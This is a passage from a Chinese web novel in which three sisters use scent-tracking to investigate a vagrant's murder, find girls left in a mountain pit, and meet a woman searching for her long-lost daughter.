“不是,”桑白玉诚恳道,“我是真想要你的命。” 边斌紧张地看过来。 池昭说过,桑白玉不会做违法的事,但边斌怎么看桑白玉都不像好人。 她那几个哥哥姐姐更不像好人。 池昭道:“你尽快走吧,查明白这个人是怎么死的,我们还可以继续做生意。” 桑白玉问:“死者是谁?” “流浪汉。” “只是流浪汉?” 池昭点头,“我也想知道他为何会死,你去查明白,告诉我,我们可以继续交易情报。” 池昭看向桑白玉。 大约是经常戴墨镜,他的眼睛很漂亮,但没有光彩,好像从未见过阳光。 桑白玉不动声色地看着池昭,十几秒后收起刀,礼貌道:“谢谢配合,我会再来找你。” 她退出轿车,轿车立刻离开。 桑白玉看向周围,确认附近没有池家的人,才把方小满和池希叫来。 池希惊讶道:“你看到我哥了?连我都见不到他!” 池希和池昭的关系没那么亲近,他和池昭年纪差得太大。 池希很喜欢哥哥,小孩儿大概都喜欢年轻人,比起父母,池希小时候更喜欢跟在哥哥身后。 但哥哥很奇怪。 他总是躲着池希,他不喜欢和他玩儿。 一家人难得相聚,他却总是仇恨地看着池希的母亲,就连吃饭也要回房间单独吃。 两岁多的池希爬楼梯很溜,他想去找池昭。 然而池昭房间的门总是紧紧关着,他从不让池希进去。 再后来,池希明白了,他和池昭是兄弟,但是同父异母,不一样的。 池希还是坚持和池昭联系。 池昭只是偶尔回复,每次看到池昭的短信,池希都能高兴得跳起来。 桑白玉说:“见你哥还挺容易的。” 池希:“……” 桑白玉宽慰道:“他不喜欢和你玩儿就算了,别在一棵树上吊死,你也很优秀的。” 池希眼前一亮,“我优秀吗?具体哪里优秀,展开说说。” 桑白玉:“再问就不礼貌了。” 池希:“……” 案发现场有好几名刑警,还在研究现场。 遇害的是流浪汉,不知身份,身上有五块三毛钱,行李是一套衣服再加一双磨损严重的草鞋。 长峡市四季如春,不需要太厚的衣服。 桑白玉蹲在案发现场附近,试图闻到证据。 位置太远,很难。 于是几人越凑越近,一直凑到刑警眼前。 刑警:“……” 嫌疑人往往都会回到案发现场。 方小满和池希走过去缠住刑警,桑白玉趁机偷看案发现场。 破旧的胡同,凌乱的鞋印。 看血迹喷溅的位置,流浪汉是背对胡同口,然后被抹了脖子。 出血量极大,估计伤到动脉。 死者向前爬行过,最后倒下的地方有很多脚印,其中一双脚印是宁红英的。 桑白玉闻到很多人的气息,其中就包括宁红英。 对桑白玉来说,他们的气息还没被冲散。 不过当时有很多人来施救,无法靠气味锁定凶手。 桑白玉忽然愣住。 她不可思议地看向巷子深处,想走过去看看,却被警戒线拦住。 方小满和池希实在撑不住了。 刑警呵斥道:“这是命案现场!你们如果想搞破坏,就和我回公安局!” 方小满吓得大气都不敢出。 桑白玉看向刑警。 不等刑警说什么,桑白玉的眼睛就红了一圈,“对不起,我的姐姐被当作嫌疑人抓走 了,我知道我姐姐的,她不会杀人,我只是想把她救出去。” 桑白玉说着,轻轻咬住下唇,片刻后又说道:“她和我没有血缘关系,我是孤儿,她把我拉扯大的。” 方小满越听越害怕。 这里的警察可不是龙星岗的警探,不吃这套的!把实话说出来,人家会怀疑他们联合起来破坏现场的! 方小满朝桑白玉挤眉弄眼。 下一秒,刑警便同情道:“你是个知恩图报的好孩子,但是这里是案发现场,不能随便进来,你可以在外面看看,不能越过警戒线。” 方小满:“……” 长峡的警察也看脸。 池希敬佩道:“不愧是小玉,谁都能搞定。” 方小满说:“她当年就是这样搞定我们的。” 漂漂亮亮的小朋友,谁见了都喜欢。 她怎么就没抵抗住,沦陷了呢?! 刑警允许他们留在外围,但桑白玉已经不想留下了,她有更重要的事要做。 巧的是,他们刚离开现场,就遇到一个玉石店的顾客。 傍晚六点多,他在玉石店买了一个玉扳指,现在怀疑是假的,要求退货。 男人态度强硬,“我刚买的,还没动,你们别想不承认!我要退货!” 话音落下,他看到三个年轻人激动地看着他。 男人:“……,干嘛,我只是退货,你们还要打人?你们如果打人……那我不退也可以。” 方小满激动道:“退,肯定给您退,您具体是几点过去的?” 男人:“……,六点多,得待到快关门,你们这里七点关门?” 池希:“你跟我们走一趟,我们马上给您退!!” 十分钟后,男人被三人驾到公安局。 男人:“??” 不是,他退个货而已,还要进公安局?! * 晚上十一点多,宁红英才被放出来。 一同离开的还有成功拿到退款的男人。 男人看了一眼时间,诡异地笑起来,“真好。” 方小满警惕地看着男人。 男人仰起头,眼泪滑落,“买了个扳指,浪费一晚上的时间,还来公安局体验,回家晚了又要被老婆骂……真是美好的一晚。” 池希:“噗。” 桑白玉从兜里翻出二十块钱,走过去双手递给他,“哥,辛苦了,我姐姐刚好被卷入凶杀案,多亏您愿意做证。” 男人看看桑白玉,又看看二十块钱,转悲为喜,“哎呀,这是我应该做的,你看看你,太客气了,怎么还给钱?” 桑白玉:“那我把钱收起来了?” 男人把二十块抢走,“哥就不是为了钱!再遇到麻烦,再来找哥,哥还给你们做证!” 男人高高兴兴回家。 桑白玉看向宁红英,担心她在里面受到刺激。 还好,宁红英看起来没什么异样。 方小满安抚道:“没事了啊,你也是倒霉,怎么被流浪汉缠上了?” 宁红英锁起眉,一言不发。 她的状态让方小满害怕,“到底出什么事了?你还在想流浪汉?他已经死了,不是你害的。” 宁红英说:“他死之前,一直拉着我的手。” “这只能怪凶手,怪不得你。” 宁红英摇头,“他拉着我的手,一直在说……俩口。” 方小满:“啊?这是词吗?宁蓝国的语言?也没听过啊。” 宁红英说:“的确没听过,我也想不明白。” 她看到有人受伤,只想尽快把人送到医院。 流浪汉一直捂着脖子,看到她后,拉着她的手不撒手。 她想去找人帮忙,流浪汉拧开松开脖子,都要双手拉住她。 他可是被割断了喉咙。 宁红英问:“他该不会认识我吧?” 方小满越听越茫然。 她从小就和宁红英生活在一起,宁红英认识的每个人她都认识。 一个流浪汉,怎么会认识宁红英? 可惜现在人已经死了,想问也问不了。 宁红英想查明白“俩口”究竟是什么意思,但一时间不知该如何做。 方小满道:“先和大姐说一声,让大姐帮忙找找人?” 宁红英点头,“现在也只有这个办法了。” 桑白玉忽然说道:“我想去看看尸体。” 池希:“?” 他哆哆嗦嗦地问道:“看尸体?你不害怕?” 桑白玉:“……” 有的时候他真的怀疑池希是池家人安排在他们身边的卧底。 池家什么生意都沾,怎么会养出一个什么都不懂的笨蛋来? 但如果仔细观察池希,桑白玉又觉得,嗯,确实是笨。 桑白玉说:“你又不是刚认识我,我见过的尸体也不少了,我给吴叔叔帮过很多次忙。” “那是在龙星岗,”宁红英说,“这里是长峡,警察不会随便让我们看的。” “想想办法吧,”桑白玉往办事大厅走去,“再去见见段警官。” 十分钟后,桑白玉和段浩面对面坐下。 段浩锐利的目光逐渐清澈、单纯,“你是说,你要出安葬费?” 桑白玉自然而然道:“相遇就是缘分,他是流浪汉,将来案子结束,没人来认领尸体,存放尸体就是你们的工作。存放尸体是要交钱的,你们存了几年,还是找不到家属,最后还是要火化。我们希望能在抓住凶手后,出钱安葬他。” 段浩:“……” 他见过犯罪嫌疑人叫屈的,第一次见上赶着要交钱的。 段浩说:“宁红英的嫌疑已经洗清,她没有作案时间,你为什么要交钱?” “我心善啊,”桑白玉说,“主要还是我有钱。” 段浩:“……” 这个理由听起来挺让人生气。 桑白玉愿意出钱安葬流浪汉。 不仅是安葬流浪汉,她还愿意捐钱帮助刑侦队。 有好几具尸体无人认领,现在都存放在殡仪馆,产生的费用是笔烂账,刑侦队也没那么多经费。 桑白玉的条件很简单,只是要去见流浪汉一面,而且是在法医和刑警的监视下见面,绝对不触碰流浪汉的尸体。 条件听起来很诱人,但段浩是警察,怎么能屈服?! 段浩:“……” 他问:“现在就去看,今晚就给钱吗?” * 流浪汉的尸体暂存在法医鉴定中心。 法医鉴定中心不在公安局内,段浩亲自开车载他们过去。 段浩倒不是见钱眼开,是队里的经费实在吃紧。 查不到身份的尸体无人认领,与刑事案件无关的,能让他们入土为安也是好事。 反正他们会严格看管这几个人,绝对不让他们触碰尸体。 进去查看尸体的人是桑白玉和宁红英。 女警察带二人去搜身,确保她们不会伤害尸体。 段浩想到做笔录时,她们之中有一人是龙星岗市的法医,说道:“你们是想破案?要法医去看?其实我们的法医水平很不错,不会验错。” 方小满:“……” 就当她们是法医吧。 段浩:“相反,龙星岗的法医水平反倒要打一个问号,那边办案太不认真,他们现在的署长是咱们国家的人,还比从前好一些。” 方小满:“你说谁水平不行!!” 池希拼命拦着,“小满姐!克制!克制!!” 流浪汉平静地躺在解剖台上。 死亡时间还不超过十个小时,尸体没太大变化,但他脸上的死亡之气仍然浓郁。 宁红英很想问问他,为什么要抓住她,俩口究竟是什么意思。 桑白玉站在远处,只有鼻子在动。 五分钟后,她看向女警,“姐姐,我们可以了。” 女警惊讶道:“这就结束了?你们可以再看会儿。” 给了不少钱呢,得让她们看到位。 桑白玉道 :“可以了。” 两人向外走去。 女警:“!!” 这钱来得真容易。 在这里看五分钟能看出什么?看来她们是……纯纯的心善啊! 离开法医鉴定中心,桑白玉几人打车回家。 案发现场警戒线还没撤,时不时就有路人站在胡同口往里瞧。 长峡市的恶性案件远不如龙星岗,但凡出现命案,都会引起小轰动。 方小满急着想知道结果,“你究竟闻出什么了?” 桑白玉看了眼池希。 她把池希当作朋友,但池希的身份的确太特殊,他本身又没什么脑子,桑白玉害怕他被人套话。 桑白玉说:“暂时没有新的线索,明天再出门看看。” 池希失望道:“还要再等啊,行吧,明天我再来找你们。” 他是男人,不方便留下。 池希离开后,桑白玉才拽了拽方小满,示意她检查房子。 方小满:“现在?” 桑白玉点头。 三人把房间搜了个底朝天,确定没人闯入过,也没有任何监听设备,桑白玉才郑重道:“我们今晚不能睡了。” 宁红英问:“你究竟闻到什么了?” 桑白玉说:“女孩的味道。” 方小满:“流浪汉身上?杀死他的人是个女孩?” 桑白玉摇头,“不一定。” “那就没有意义了,”方小满说,“流浪汉被伤后,有很多人过来搭救,红英就是其中一个,他在这个时候接触过某个女孩,留下气味,很正常。” 桑白玉问宁红英,“你去以后,还有年轻女孩去过吗?” “没有比我年纪更小的。” 桑白玉道:“那就是之前接触过。” 方小满说:“可只说女孩,好像没必要找啊,还有更确切的证据吗?” 桑白玉叹口气,说:“她的味道我从前闻过。” 方小满:“?” 桑白玉一字一句道:“几年前,我刚到龙星岗,被砍头的提拉德,你们还记得吗?” 方小满点头。 这桩案子她和桑白玉一起掺和的,让吴元青很头疼。 桑白玉说:“他身上也有类似的味道。” 方小满倒吸一口冷气。 提拉德和流浪汉,为何会接触同一个女孩。 还是年轻女孩,提拉德可遇害很多年了。 这女孩……什么来历? 宁红英问:“你怀疑流浪汉和提拉德有关?还是和池家有关?” “我不知道,”桑白玉说,“我现在更想确认女孩的身份,事实上,我还在其他地方闻到过她的味道。” “哪里?” 桑白玉说:“在何利家找到的档案上。” * 提拉德、何利的死,至今还未找到凶手。 再加上刚刚遇害的流浪汉。 他们遇害前似乎都接触过同一个女孩。 桑白玉先把此事告诉惠海铭,然后打了一辆出租车,“去玉兰山。” 三人沉默地坐在后面。 方小满担心道:“我们三个人去,是不是太危险了?还要打陌生人的车。” 司机:“……” 他看向后视镜,“应该是我害怕你们三个吧!!” 看表情,像是吃过人! 玉兰山在长峡市正北方向,再往北走就没有城镇了,只有连绵起伏的大山。 司机停下车,桑白玉给了他车费,又让他留下联系方式。 往玉兰山走只有土路,土路两旁是草地,再往上就是高山。 夜色正浓,往西五百米,还有一片村子里的公墓。 方小满在黑夜中努力辨别山的方向,冷风吹过,她裹紧衣服,“咱们别往人家墓地里跑了。” 桑白玉看向玉兰山,“不去墓地,他生前来过玉兰山,我们去山上看看。” 运气好,或许还能找到流浪汉的味道。 三人往山中走去。 长峡市被山川围绕,头顶的星星清晰可见。 平时是优点,放到现在就是缺点,方小满总要回头看看,害怕被人跟踪。 桑白玉一直在前面带路,“这边。” “左转。” “这里要往上走。” 方小满搂着桑白玉的胳膊惊叹道:“这里的味道你都能闻到?!” 桑白玉:“……是看野草倒下的方向。” 宁红英慢吞吞道:“连自己的本事都忘了,四肢发达,头脑简单。” 方小满:“……” 对哦。 三人走了将近一个小时,桑白玉才停下来,“有他的味道,他为什么会来这里?” 宁红英走到最上方的岩石上往下看,“这边离市里不远,下面有人家住,看起来有很多户。” 桑白玉说:“可附近有人家也是村子,去市里乞讨,总比在这里要到东西的概率大吧?” 方小满道:“他可能是伪装成乞丐的犯罪分子,他想害红英。” 这话有道理,但也不完全有道理。 “继续找吧,现在说再多,都只是猜测。” 桑白玉却拧着眉没动。 宁红英和方小满往前走了几步,才发现桑白玉没跟上来,宁红英问:“就在这里?” 桑白玉轻轻点头,“有女孩的味道,还有很多人。” “很多人?!什么意思?” 桑白玉拧眉,“我也说不好,就是很多人,而且……” “如何?” 桑白玉问:“小满姐姐,你记得祝江吗?好像有他的味道。” 方小满当然记得祝江,何利遇害时,池昭的人就在附近,其中就有祝江。 “池昭果然不是什么好东西!!以后不能相信他!” 桑白玉没附和方小满,她蹲在地上找线索。 她闻到了很多人的味道。 其中女孩、祝江以及流浪汉的味道比较明显,桑白玉对他们的味道印象深刻。 桑白玉走向上山的另一条路,这条路的另一端就是宁红英山发现的山村。 这条路上的气味更浓烈,他们是从这边上山的。 桑白玉往山下走去。 方小满奇怪道:“你要走了吗?” “安静,”宁红英说,“给小玉一点儿时间。” 方小满斜眼看向宁红英,“我发现你在教育我的时候语速很快。” 宁红英郑重道:“为了治好我说话慢的毛病,我决定以后一直教育你。” 方小满:“……” 桑白玉没有真的下山,她只是在路边的树旁晃悠了会儿。 没多久,她就回到起点,“流浪汉曾经在树后待过。” “这能说明什么?” 桑白玉肯定道:“他们不是一伙的,流浪汉在跟踪他们,他和女孩是对立的。” 宁红英恍然大悟,“所以流浪汉是被女孩灭口的。” “流浪汉跟踪他们上山,看到了不该看的秘密,他们找到流浪汉,灭口。这边应该来过起码五个人,这五个人味道,和案发现场有重叠,最明显的是女孩的味道,她是杀人凶手的可能性极高。” 方小满看向玉兰山,“可他们跑到山里做什么?” 桑白玉摇头,“我也不清楚。” 宁红英问:“是先和大姐说一声,还是继续?” 桑白玉道:“附近应该没人。” 既然没人,那就没有离开的理由了。 宁红英率先向前走去。 虽然已经知道流浪汉和女孩不是一伙的,但宁红英还是想知道,流浪汉死前为什么只拽住她一个人。 她虽然是第一个赶到的,但随后又来了很多人帮忙,为什么只找她一个? 他不断地对她重复着那两个字,她有种感觉,他好像有话要对她说。 宁红英心里有些乱。 她不知该如何形容那种感觉,她觉得,流浪汉好像认识她,他似乎不是第一次见到她。 宁红英是孤儿,是被惠海铭捡回家的。 在玉石店生活这些年,宁红英过得很开心,但偶尔还是会想知道,她的父母是什么样的人,为什么丢下她。 方小满见宁红英如此积极,知道这件事对她意义不同。 虽然方小满想不明白有何不同,但是姐妹想做的事情,她得尽全力帮忙。 三人闷头往前走,继续找线索。 上山的路不太好走。 长峡市在边境线,登高能看到的地方全是连绵不断的山川。 不是专业人士,是完全分不清这些山属于哪些国家的,可能翻过这个山头,对面的山头就是宁蓝国的,或是北方的国家。 想在这里做点儿坏事,可能几十年都不会被发现。 三人越走越偏。 幸好她们都受过训练,不会在这种地方 迷路。 宁红英一路做好标记,只有她们自己人看得懂的标记。 桑白玉是沿着气味流动的方向走的。 越往里走她越能确定,流浪汉一定是跟踪他们过来的。 可是一个人跟踪好几个人,其中还包括男人,她实在想不通流浪汉究竟看到了什么,一定要涉险。 就在这时,方小满忽然说道:“又是坑。” 桑白玉向看去。 山中树木茂盛,枝条遮挡住月光,光线并不清晰。 桑白玉依稀能看到石块,好像有个山洞。 走近一看,才知道方小满说的是对的,这不是山洞,是大概有80°倾斜的坑。 方小满想起天坑就头疼。 她第一次去天坑,在坑底发现了这辈子见过最多的白骨,差点儿把她胆小的毛病治好。 方小满说:“又是坑,坑里抛尸最方便。” 桑白玉和宁红英看向方小满。 方小满:“……,不会吧?!”—— 作者有话说:这本每天都在写,但是特别卡,就想着一口气写完再改再发算了… 还是先更点儿吧[爆哭] 第55章 桑白玉小心翼翼靠近坑。 洞口直径不大,但很深,深不见底。 方小满发誓:“如果他们再往坑里抛尸,我一定和他们势不两立。” 知不知道抛尸的活儿只能她来做?! 桑白玉趴在坑边闻了一会儿,说:“我们得下去一趟,他们来过这里,还有……尸体的味道。” 方小满:“!!” 抛尸能不能有点儿新意! 宁红英却拦住二人,“你们说他们究竟是什么人?做了什么坏事被流浪汉抓到?” 方小满道:“小玉都说了,有尸体的味道,他们肯定是在抛尸时被流浪汉看到,流浪汉一路跟踪,又被发现,所以被灭口。” 宁红英又问:“他们有几人?” 方小满说:“六七个?小玉,你刚才说有多少人?” “这不是重点,”宁红英道,“他们之间的女孩,与多年前遇害的提拉德有关,与何利也有关,祝江,是池昭的手下,是池家人。” 方小满点头,“是这样。” “你还没发现不对?”宁红英无奈道,“这可能是池家人的生意,他们选择在玉兰山抛尸,说明他们平时就是在长峡市活动的,没办法带着尸体去龙星岗解决,在这里,有一伙池家人在背地里行动。” 龙星岗和长峡之间的关口越来越严格,他们没办法做到带着尸体回龙星岗,只能选择长峡。 在龙星岗解决尸体其实更方便,一是警署可能不会严查,二来他们有关系网,能保下他们。 方小满后知后觉道:“你的意思是,池家人有阴谋,就在长峡市?” 宁红英点头。 “什么阴谋?” “池明远一直从事贩卖毒物的生意,还想走私军/火,或许和这件事有关系,和池明远有关的,无非就是生意。” “这人可真是坏透了,为了赚钱什么都能做。” “别抱怨了,”宁红英说,“我们得通知警方,让警察过来找尸体,但不能直接告诉他们,可以让大姐找人转达。” 桑白玉迟疑地看着坑口。 方小满道:“红英说得没错,下面不知道是什么情况,既然和池家有关,我们要小心” 桑白玉站在坑边看了良久才说:“我感觉下面有活人。” 方小满吓了一跳,“什么叫活人?” “气息很微弱,但应该还活着。”桑白玉说,“但我也不能肯定,我从没遇到过这种情况。” 若真有人活着,且不说对方原本是否受伤,光是从上面掉下去,都有得受了。 坑不算太深。 桑白玉决定冒险下去看一看。 方小满说:“你就算了吧,攀岩我在行,我来。” 桑白玉想让方小满去冒险,这是她的想法。 “什么你啊我啊,”方小满板起脸教育她,“你是我妹妹,你比我小,我能让你去涉险吗!我连天坑都下去过,还去不了这小坑?” 宁红英看向四周,“一定要下去也可以,但要先确定是否有人盯着这里。” 综合桑白玉的描述,对方像是团伙作案。 如果和池家有关,情况就更糟糕,给池家办事的人很多,打手数不胜数。 若在她们往下走时来人,可就危险了。 桑白玉说:“我先去走一圈。” 山里只有山,没有人。 宁红英随身带着些小巧的监听设备,在四周安置好。 攀岩绳也是现成的,方小满出门在外,除了手术刀,带的就是这些不太沉的装备。 她慢慢放下走,桑白玉在上方给她照亮。 照明灯也是宁红英改装过的,比平时用的手电亮得多。 慢慢地,方小满爬到了光线照不到的地方。 桑白玉和宁红英在上方等了将近半个小时,方小满也没动静。 桑白玉有些担心方小满的情况,“如果下面不是抛尸的地方,活着的人是他们的人,小满姐姐就危险了。” 宁红英:“……” 担心到已经不按常理思考了。 宁红英问:“他们把自己丢在下面图什么,就为了不方便出来吗?” 桑白玉:“……” 她还是担心,“下次还是我去吧,万一遇到人类,小满姐姐可能没办法对付她。” “这我赞同,”宁红英说,“小满的脑子需要重新开发。” 姐妹俩面色沉重地点头。 攀岩绳忽然摇晃起来。 桑白玉和宁红英赶紧起来查看情况,方小满在下方开着灯,正往上爬。 她一路蹿得极快,桑白玉和宁红英把她拉上来,她站在旁边喘了好一会儿,才指着下面说:“三个人,女孩,年龄在10岁左右,其中两个人死亡时间在24小时内,活着的剩最后一口气,我给她简单处理了一下,但你们应该知道,我更擅长处理尸体。” 现在必须找人来把女孩救出来送到医院。 女孩可能全身多处骨折,她们不能随便移动她。 桑白玉奔到山脚下的山村去报警,然后给惠海铭打电话。 * 折腾了一夜,女孩被长峡警方救出。 后续又来了两个军方的人将女孩带走,说是要保护起来。 这两人大概与惠海铭有关。 女孩至今昏迷,没能说出更多线索。 倒是段浩给宁红英打来电话,让她去局里一趟。 宁红英当天便带着方小满和桑白玉赶了过去。 段浩看到三位富婆,态度很友好,“死者一直拉住你不放这件事,我们也都很疑惑,笔录里说,他一直对你说俩口?” 宁红英点头,“我不懂这两个字的含义,可能是方言。” “没错,”段浩说,“我们查到死者的真实身份了。” 桑白玉问:“他说的地方,是他的家乡?” “这倒不是,”段浩道,“在案子破获以前,没办法向你们透露更多消息,但有一点可以告诉你们,‘俩口’可能是地名,隔壁省有一个林口县。死者是禹城人,他们那边的方言会把林口说成‘俩口’,我已经确认过了。” 死者去世前宁可不捂伤口,也要拉着宁红英说的两个字,是个地名? 段浩问道:“你真的不认识他?他为什么对你说林口?太奇怪了。” 宁红英从未去过林口,甚至未曾听说过。 离开市局,宁红英心情沉重。 方小满碰了碰桑白玉。 桑白玉走到宁红英身边说道:“我们陪你去林口看看?” 宁红英微怔,接着苦笑道:“去了也没用,他只说了林口县,国内的小县城也有很多人,我们去找谁?” “就当散散心,无端被扯进命案里,已经很倒霉了。” 方小满 说:“我们租一辆车开过去,方便。去吧,正好我也想出去看看,总困在龙星岗,哪儿都没去过,听说现在华国发展得特别好。” 桑白玉道:“我倒是没什么,但是小满姐姐你……” 方小满:“嗯?” 十分钟后,方小满找到座机,颤颤巍巍拿起话筒。 她还未开口,就听到吴元青的怒吼声:“你还要再请几天假??!!” 方小满:“……” * 在吴元青的痛骂声中,方小满含泪又请了几天假,吴元青答应帮她说情。 原本方小满去龙星岗做法医,只是想和大姐近一点儿,她以为她们还要一直在龙星岗生活。 现在看来好像没什么必要了,如果可以,她留在长峡市做法医也不错。 三人租了一辆出租车赶往林口,一路上都有人朝她们招手要搭车。 没办法,现在还没有正经的租车公司,租出租车比较方便。 林口距离长峡市有五百公里,不算太远,但也不近,而且有很多山路,车不好开。 三人轮流开车。 快到林口时,方小满换桑白玉,桑白玉回到后排休息。 小灵通响了起来,有短信发过来,是个陌生号码。 对方询问她们找到了什么。 虽然他没有表明身份,但桑白玉莫名坚信他就是池昭。 桑白玉挑起眉。 她去找池昭时,池昭一副不配合的态度,也没否认是他派人去玉石店。 桑白玉放下小灵通没理会他。 没过一会儿,电话打了过来。 桑白玉有心晾着他,故意没接。 电话之后又是信息。 “我们还是合作关系吧?” 桑白玉瞟了一眼,再次丢掉小灵通。 方小满奇怪道:“是谁一直给你发消息?” 桑白玉随口说道:“不重要的人。” 方小满:“?” 看桑白玉时不时就要瞥一眼小灵通的表现,可不像是不重要的人。 小灵通再次响起来。 这回桑白玉懒洋洋地按下接通键,她只是听着,没先开口。 对面也没说话。 双方僵持不下。 片刻,池昭的声音传来,“你提条件,我只需要知道你们发现了什么。” 桑白玉笑眯眯道:“可你现在对我而言没太大利用价值。” 池昭再次妥协,“好吧,我可以告诉你,警方已经把人带走了。他们又动作,正在找关系疏通,还有一群人正试图离开长峡,暂避锋芒。” 桑白玉根据池昭的话,猜测那群人的身份。 和池家有关是可以肯定的,但究竟和池家哪一部分生意有关,就不得而知了。 桑白玉说:“这些我不感兴趣,这样吧,你帮我查一个人。” “谁。” “我曾经和你说过的,提拉德。” 池昭疑惑道:“和今天的事有关?我在池家,完全没听过他的名字,他只是个小人物。” “别管大小,把杀害他的凶手找出来,还有,查明白他为何而死,生前接触过哪些人,我们才可以继续谈。” 池昭没答应也没拒绝。 桑白玉挂断电话。 方小满问:“你还相信他?” 桑白玉弯起唇,“没办法,他长得太美,美人的话总要听一听。” 宁红英说:“美人最会骗人。” 桑白玉:“?” 这话怎么有点儿耳熟? 颠簸过后,三人终于来到林口县。 林口只是一个小县城,经济发展落后,甚至不通火车,只有一个汽车站。 汽车站每天只有一班车进出,进林口县的路坑坑洼洼的,私家车进出都不方便。 宁红英一心想来林口县,真的来了,看到萧条的小县城,又不知该做些什么。 她甚至不知道自己是来找什么的。 桑白玉道:“说不定流浪汉来过林口,才一直喊林口,我们先四处打听打听,看看有没有认识他,我还记得他的味道,如果他曾在林口长时间逗留,应该还有找到线索。” 也只能如此。 三人先去汽车站。 就算是流浪汉,靠双腿走出林口县也有些困难,一路上都是山,没有补给的地方。 宁红英画了一张流浪汉的画像,递给工作人员看。 工作人员摇头,“从没见过,流浪汉哪有钱坐汽车啊。” 桑白玉偷偷看了眼画像,有99%的像。 她的红英姐姐还有这本事! 方小满得意道:“大姐说,不是每时每刻都能有相机用,一定要有一个人能复刻出人的长相,我把活儿推给红英了!” 桑白玉很羡慕。 她的姐姐们会的技能也太多了吧! 三人拿着流浪汉的画像四处询问。 她们还去了林口的派出所,打听林口的流浪汉,结果也很令人失望。 三人一直找到晚上十一点钟,才去宾馆睡下。 第二天六点钟,宁红英最先醒过来,桑白玉和方小满又爬起来继续去找人。 她们找了整整两天,一无所获。 流浪汉好像从未出现在林口县过。 方小满有点儿撑不住了。 宁红英失落道:“确实不能再继续了,谢谢你们陪我过来,过来一趟我就不再惦记了。” 方小满见状,心里不是滋味,她问桑白玉,“你真的一点儿熟悉的味道都没闻到?” 桑白玉摇头。 方小满说:“也有可能是流浪汉来过林口县,但是停留的时间太短,或者下过雨,下雨不也会影响吗?他肯定来过,否则不会一直念叨。红英,我们再找找。” “算了,”宁红英说,“被救的女孩还不知道怎么样了,还有玉石店,总关门影响生意,我们还是回去吧。” 方小满为难地看向桑白玉。 桑白玉在脑海中回忆这两天走过的路。 林口县很小,只有两条主路,这两天她们已经彻彻底底搜过一遍。 流浪汉要维持生活,势必要出现在大众眼中,尤其是主干路上。 没有人见过流浪汉,他或许真的没来过林口。 既然没来过,为何要拉住宁红英不放,非要说这两个字? 难道“俩口”二字,另有含义? 桑白玉说:“现在恐怕没办法找到流浪汉,我们可以先回长峡,向警方询问流浪汉的人际关系,说不定会有收获。” 三人重新坐上车。 方小满开车,桑白玉坐在副驾驶。 路上没有几辆车,出租车也不多,视野很开阔。 离开林口的路线经过汽车站。 桑白玉正专心致志地盯着路边的行人看,方小满猛地踩了刹车。 桑白玉看向方小满。 方小满错愕地指着前方,“她、她她……” 第56章 汽车站的大门口,一个背着木牌子的女人正往外走。 木牌子上写满了字,距离太远,看不清楚。 可以看清的是女人的长相,她们似乎都见过。 方小满和桑白玉没有任何迟疑,一起回头看向宁红英。 宁红英怔住两秒,拧眉看向女人,看清女人的模样后再次怔住。 她和女人长得很像。 像到什么程度?只要看对方一眼,就立刻能想起另一个人。 车内没人说话,甚至没人提到流浪汉。 但在看到女人的瞬间,她们都想到了同一点。 短暂的错愕后,方小满把车停在路边,桑白玉和宁红英打开车门向女人奔去。 女人刚从汽车站出来,正在找招待所。 两个拉客的中年妇女招呼她去开在火车站附近的宾馆,她问过价格后,跟着两人走去。 宁红英想叫住她,可又不知该如何称呼她,只能无助地大喊。 桑白玉来不及安抚宁红英,加快速度向女人冲去。 在她即将走进招牌都倒下的宾馆前,桑白玉及时拉住她,“等等!” 中年女人不悦道:“人家都说好来我们店里住,怎么还来抢人的?” 桑白玉执着道:“等等,你先见一个人。” 女人奇怪地看着桑白玉。 她不认识她,从未见过。 中年妇女走过来赶人。 的桑白玉沉下脸,“你看我像是来和你抢客人的吗?” 桑白玉的声音带着一股狠劲。 她很少用这种语调说话。 中年女人竟被桑白玉吓住,见她的确不像是来拉客的,才嘟嘟囔囔后退。 桑白玉怕女人离开,拉住她的衣袖,说:“你先和她见一面。” 她指向宁红英。 宁红英气喘吁吁地站在两米远。 她跑得太快,岔气了,不舒服。 女人好奇地看着宁红英。 宁红英喘了一会儿,才艰难地抬起头。 二人都愣住。 就连两个中年女人都愣住,忍不住议论道:“这俩人……长得好像啊?!” 张淼怔住片刻,走向宁红英。 她一言不发,只是看着她,目光不舍得移开。 宁红英慢慢挺直腰背,终于走到张淼面前,她不知该说什么好。 张淼张了张嘴,却没能发出声音。 她努力地控制自己了,可什么都控制不了。 宁红英能听到张淼的心脏正剧烈跳动。 良久,宁红英才轻声问道:“我们认识,是吗?” 张淼紧紧抿唇,先是点头,接着又连续摇头。 她的喉咙像被卡住,一个音节都发不出来。 桑白玉见状,解释道:“一个流浪汉看到红英姐姐,一直拉着她不放,他死前提到林口,所以我们就过来了。” 张淼看向桑白玉,眯了眯眼,忽然激动起来,“他……死了?!” 桑白玉点头,“他遇害了,红英姐姐想搭救他,他没提到凶手,一直在说林口。我们不知道是什么意思,所以决定来看看,他好像认识红英姐姐。” 张淼眼含热泪,看向宁红英。 她明白了,什么都明白了。 * 四人找了一家饭店,张淼要了瓶白酒。 她虽然和宁红英很像,但肤色完全不同,她皮肤黝黑,手上布满老茧,身材健硕,能清晰地看到腿部结实的肌肉。 张淼微笑着给自己倒酒。 她的手抖得厉害,酒洒了一半。 张淼想去找抹布,又不知该把酒杯放到哪里,无措好一会儿,边笑边流泪。 张淼不好意思地笑笑,“我真是的,这是好事,怎么还哭了?” 宁红英默默地拿出手绢给她擦眼泪。 桑白玉看向张淼的行李,问:“您出来很久了吗?” “很久了,”张淼长叹一声,“久到我已经记不清了。” 张淼曾经就读于师范学校,毕业后成为小学老师。 经媒人介绍,张淼和丈夫结婚,丈夫是个老实人,能踏实过日子的。 婚后一年,张淼怀孕,十个月后女儿出生。 大约是体内的激素作祟,张淼时时刻刻都想与女儿贴在一起,稍微离开一会儿,便会担心得吃不好睡不好。 然而女儿六个月时却在公园和家人走散了。 张淼的父母,丈夫的父母,两家人集体出动,找了整整一年,杳无音信。 张淼也因请假次数太多被校长叫去谈话,但她不肯放弃。 丈夫和她商量着再要一个,张淼情绪激动地反对。 她无法容忍自己放下女儿,去过新的生活。 此后夫妻俩关系越来越僵,丈夫还想缓和,张淼却不愿意再谈了,她知道丈夫不想继续找下去,想开始新的生活。 张淼主动提出离婚,丈夫知道她的意思,挽留过两次后,两人去办理了离婚证。 等国内放开,行走方便后,张淼踏上寻找女儿的路。 她一路往南走,每一个小县城、小山村都不放过。 只要她地图上有的,她听说过的,都一定要去看看。 这些年她一直没能找到和女儿有关的线索,但结识了很多朋友,流浪汉也是其中之一。 